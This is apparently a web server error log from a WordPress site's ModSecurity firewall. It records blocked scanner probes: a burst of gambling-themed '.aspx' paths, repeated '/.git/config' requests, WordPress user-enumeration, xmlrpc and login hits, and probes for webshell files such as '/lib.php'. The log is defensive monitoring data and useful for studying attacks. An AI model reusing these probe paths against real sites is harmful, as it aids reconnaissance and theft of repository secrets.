[Wed Apr 15 21:14:40.818728 2026] [:error] [pid 37370:tid 37387] [client 51.75.119.112:39050] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ad-PQHg-gnM2Ga0cGABUXwAAAQ8"]
[Wed Apr 15 21:14:42.718436 2026] [:error] [pid 31053:tid 31076] [client 51.75.119.112:52716] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ad-PQhcEkLCmvF0fjDflWQAAAJQ"]
[Wed Apr 15 21:14:44.575954 2026] [:error] [pid 30957:tid 31009] [client 51.75.119.112:52724] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ad-PRH5gwVEVXHfVSiqSCgAAAFQ"]
[Wed Apr 15 21:14:46.648575 2026] [:error] [pid 31053:tid 31076] [client 51.75.119.112:52730] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ad-PRhcEkLCmvF0fjDflZwAAAJQ"]
[Wed Apr 15 21:14:48.586351 2026] [:error] [pid 31053:tid 31061] [client 51.75.119.112:52732] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ad-PSBcEkLCmvF0fjDflcAAAAIU"]
[Wed Apr 15 21:14:50.362647 2026] [:error] [pid 31053:tid 31079] [client 51.75.119.112:52742] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "ad-PShcEkLCmvF0fjDflcwAAAJc"]
[Wed Apr 15 21:14:52.272746 2026] [:error] [pid 31053:tid 31065] [client 51.75.119.112:54552] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "ad-PTBcEkLCmvF0fjDflfgAAAIk"]
[Wed Apr 15 21:14:54.223801 2026] [:error] [pid 37370:tid 37391] [client 51.75.119.112:54554] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "ad-PTng-gnM2Ga0cGABUqwAAARM"]
[Wed Apr 15 21:14:56.087215 2026] [:error] [pid 31053:tid 31071] [client 51.75.119.112:54568] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ad-PUBcEkLCmvF0fjDflkgAAAI8"]
[Wed Apr 15 21:14:58.107806 2026] [:error] [pid 37370:tid 37384] [client 51.75.119.112:54580] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ad-PUng-gnM2Ga0cGABUvAAAAQw"]
[Wed Apr 15 21:15:00.017511 2026] [:error] [pid 37370:tid 37395] [client 51.75.119.112:54592] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ad-PVHg-gnM2Ga0cGABUywAAARc"]
[Wed Apr 15 21:15:01.960781 2026] [:error] [pid 30958:tid 31022] [client 51.75.119.112:40446] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ad-PVceG3wSKTO7NWFGzaAAAAMY"]
[Wed Apr 15 21:15:04.114079 2026] [:error] [pid 30957:tid 31010] [client 51.75.119.112:40454] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ad-PWH5gwVEVXHfVSiqSaQAAAFU"]
[Wed Apr 15 21:15:06.203599 2026] [:error] [pid 30956:tid 30965] [client 51.75.119.112:40470] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ad-PWkBGUpjaWntNYq19xwAAAAU"]
[Wed Apr 15 21:15:08.226168 2026] [:error] [pid 37370:tid 37377] [client 51.75.119.112:40476] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ad-PXHg-gnM2Ga0cGABU5AAAAQU"]
[Wed Apr 15 21:15:10.014726 2026] [:error] [pid 30958:tid 31027] [client 51.75.119.112:40492] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ad-PXseG3wSKTO7NWFGzegAAAMs"]
[Wed Apr 15 21:15:11.948974 2026] [:error] [pid 30957:tid 30989] [client 51.75.119.112:45910] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ad-PX35gwVEVXHfVSiqSfgAAAEA"]
[Wed Apr 15 21:15:14.031408 2026] [:error] [pid 30956:tid 30969] [client 51.75.119.112:45914] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ad-PYkBGUpjaWntNYq195QAAAAk"]
[Wed Apr 15 21:15:51.323968 2026] [:error] [pid 37370:tid 37377] [client 51.75.119.112:45928] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ad-Ph3g-gnM2Ga0cGABVqQAAAQU"]
[Wed Apr 15 21:15:53.195613 2026] [:error] [pid 30956:tid 30981] [client 51.75.119.112:35130] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ad-PiUBGUpjaWntNYq1-HAAAABU"]
[Wed Apr 15 21:15:55.119044 2026] [:error] [pid 30957:tid 30995] [client 51.75.119.112:35134] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ad-Pi35gwVEVXHfVSiqTAwAAAEY"]
[Wed Apr 15 21:15:57.036151 2026] [:error] [pid 30957:tid 30997] [client 51.75.119.112:35138] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ad-PjX5gwVEVXHfVSiqTCwAAAEg"]
[Wed Apr 15 21:15:58.957526 2026] [:error] [pid 30956:tid 30970] [client 51.75.119.112:35144] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ad-PjkBGUpjaWntNYq1-MgAAAAo"]
[Wed Apr 15 21:16:00.726377 2026] [:error] [pid 30956:tid 30964] [client 51.75.119.112:35160] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ad-PkEBGUpjaWntNYq1-OAAAAAQ"]
[Wed Apr 15 21:16:02.702660 2026] [:error] [pid 30957:tid 30998] [client 51.75.119.112:35330] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ad-Pkn5gwVEVXHfVSiqTJAAAAEk"]
[Wed Apr 15 21:16:04.701847 2026] [:error] [pid 30956:tid 30978] [client 51.75.119.112:35336] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ad-PlEBGUpjaWntNYq1-PQAAABI"]
[Wed Apr 15 21:16:06.842480 2026] [:error] [pid 30957:tid 31007] [client 51.75.119.112:35352] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ad-Pln5gwVEVXHfVSiqTPQAAAFI"]
[Wed Apr 15 21:58:32.658082 2026] [autoindex:error] [pid 23913:tid 23938] [client 212.47.77.100:54862] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Apr 15 22:16:05.250129 2026] [:error] [pid 37370:tid 37390] [client 13.36.194.238:10940] [client 13.36.194.238] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ad-dpXg-gnM2Ga0cGACRgwAAARI"]
[Wed Apr 15 22:16:05.261369 2026] [:error] [pid 37370:tid 37376] [client 13.36.194.238:10939] [client 13.36.194.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.36.194.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad-dpXg-gnM2Ga0cGACRhAAAAQQ"]
[Thu Apr 16 00:57:16.704368 2026] [:error] [pid 31053:tid 31068] [client 74.7.227.176:41682] [client 74.7.227.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad_DbBcEkLCmvF0fjDd_AQAAAIw"], referer: https://gigfragments.org/terms-of-service/
[Thu Apr 16 01:05:32.526954 2026] [:error] [pid 30958:tid 31025] [client 43.153.74.75:37772] [client 43.153.74.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ad_FXMeG3wSKTO7NWFEPaQAAAMk"]
[Thu Apr 16 01:33:27.573593 2026] [autoindex:error] [pid 31053:tid 31068] [client 91.231.89.32:39101] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 01:40:20.284766 2026] [autoindex:error] [pid 31053:tid 31067] [client 91.231.89.19:48533] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 01:58:06.089028 2026] [:error] [pid 20548:tid 20558] [client 57.151.143.184:1092] [client 57.151.143.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_RrqkpqgnqCHq6bJa1wgAAAIc"]
[Thu Apr 16 01:58:07.129492 2026] [:error] [pid 912:tid 970] [client 20.25.153.53:62670] [client 20.25.153.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_Rr8U0_VzYCBipADkyYQAAAQI"]
[Thu Apr 16 01:58:24.650379 2026] [:error] [pid 34542:tid 34555] [client 52.162.9.246:40267] [client 52.162.9.246] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_RwAdF4OGi-asleB6K9QAAAUs"]
[Thu Apr 16 01:58:27.948703 2026] [:error] [pid 792:tid 875] [client 64.236.200.114:60559] [client 64.236.200.114] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_Rw93PZ8z30TezIkZgqgAAAMY"]
[Thu Apr 16 01:58:30.799471 2026] [:error] [pid 912:tid 981] [client 40.76.191.164:21274] [client 40.76.191.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_RxsU0_VzYCBipADkydQAAAQ0"]
[Thu Apr 16 01:58:31.020921 2026] [:error] [pid 34542:tid 34558] [client 64.236.133.129:61195] [client 64.236.133.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_RxwdF4OGi-asleB6LAgAAAU4"], referer: https://www.youtube.com/
[Thu Apr 16 01:58:41.384987 2026] [:error] [pid 34542:tid 34565] [client 103.4.251.64:36044] [client 103.4.251.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.251.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/https%3A/gigfragments.org/xmlrpc.php%3Frsd"] [unique_id "ad_R0QdF4OGi-asleB6LJQAAAVU"]
[Thu Apr 16 01:58:41.626165 2026] [:error] [pid 54814:tid 54820] [client 135.232.224.82:54346] [client 135.232.224.82] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_R0TrHu_-tAAe-BOWtuQAAAYA"]
[Thu Apr 16 01:59:21.900275 2026] [:error] [pid 20548:tid 20563] [client 64.236.201.55:42070] [client 64.236.201.55] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_R-akpqgnqCHq6bJa2-QAAAIw"], referer: https://www.reddit.com/
[Thu Apr 16 01:59:36.980079 2026] [:error] [pid 34542:tid 34544] [client 52.165.250.244:60417] [client 52.165.250.244] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_SCAdF4OGi-asleB6L6AAAAUA"]
[Thu Apr 16 02:00:10.982300 2026] [:error] [pid 34542:tid 34553] [client 48.214.55.34:23432] [client 48.214.55.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_SKgdF4OGi-asleB6MPAAAAUk"], referer: https://www.linkedin.com/
[Thu Apr 16 02:00:12.989922 2026] [:error] [pid 20548:tid 20553] [client 20.168.159.162:13650] [client 20.168.159.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_SLKkpqgnqCHq6bJa3dgAAAII"]
[Thu Apr 16 02:00:35.336983 2026] [:error] [pid 54814:tid 54833] [client 52.161.51.58:1158] [client 52.161.51.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_SQzrHu_-tAAe-BOWucQAAAY0"]
[Thu Apr 16 02:01:21.781788 2026] [:error] [pid 791:tid 866] [client 172.174.188.181:60375] [client 172.174.188.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_Scbxl5Y18om2fepncPAAAAFg"], referer: https://outlook.live.com/
[Thu Apr 16 02:01:48.998108 2026] [:error] [pid 20548:tid 20558] [client 172.215.217.96:56520] [client 172.215.217.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_SjKkpqgnqCHq6bJa4vAAAAIc"]
[Thu Apr 16 02:01:55.114097 2026] [:error] [pid 54814:tid 54835] [client 172.213.218.185:48875] [client 172.213.218.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.213.218.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ad_SkzrHu_-tAAe-BOWvLAAAAY8"]
[Thu Apr 16 02:02:10.027257 2026] [:error] [pid 34542:tid 34568] [client 172.213.218.185:7217] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lib.php"] [unique_id "ad_SogdF4OGi-asleB6OUgAAAVg"]
[Thu Apr 16 02:02:12.543528 2026] [:error] [pid 792:tid 895] [client 172.213.218.185:6463] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lib.php"] [unique_id "ad_SpN3PZ8z30TezIkZhkwAAANE"]
[Thu Apr 16 02:02:13.625675 2026] [:error] [pid 54814:tid 54824] [client 172.213.218.185:2731] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lib.php"] [unique_id "ad_SpTrHu_-tAAe-BOWvSAAAAYQ"]
[Thu Apr 16 02:02:18.371951 2026] [:error] [pid 791:tid 866] [client 172.213.218.185:21244] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lib.php"] [unique_id "ad_Sqrxl5Y18om2fepncUAAAAFg"]
[Thu Apr 16 02:02:21.035893 2026] [:error] [pid 54814:tid 54829] [client 172.213.218.185:12445] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kj.php"] [unique_id "ad_SrTrHu_-tAAe-BOWvVAAAAYk"]
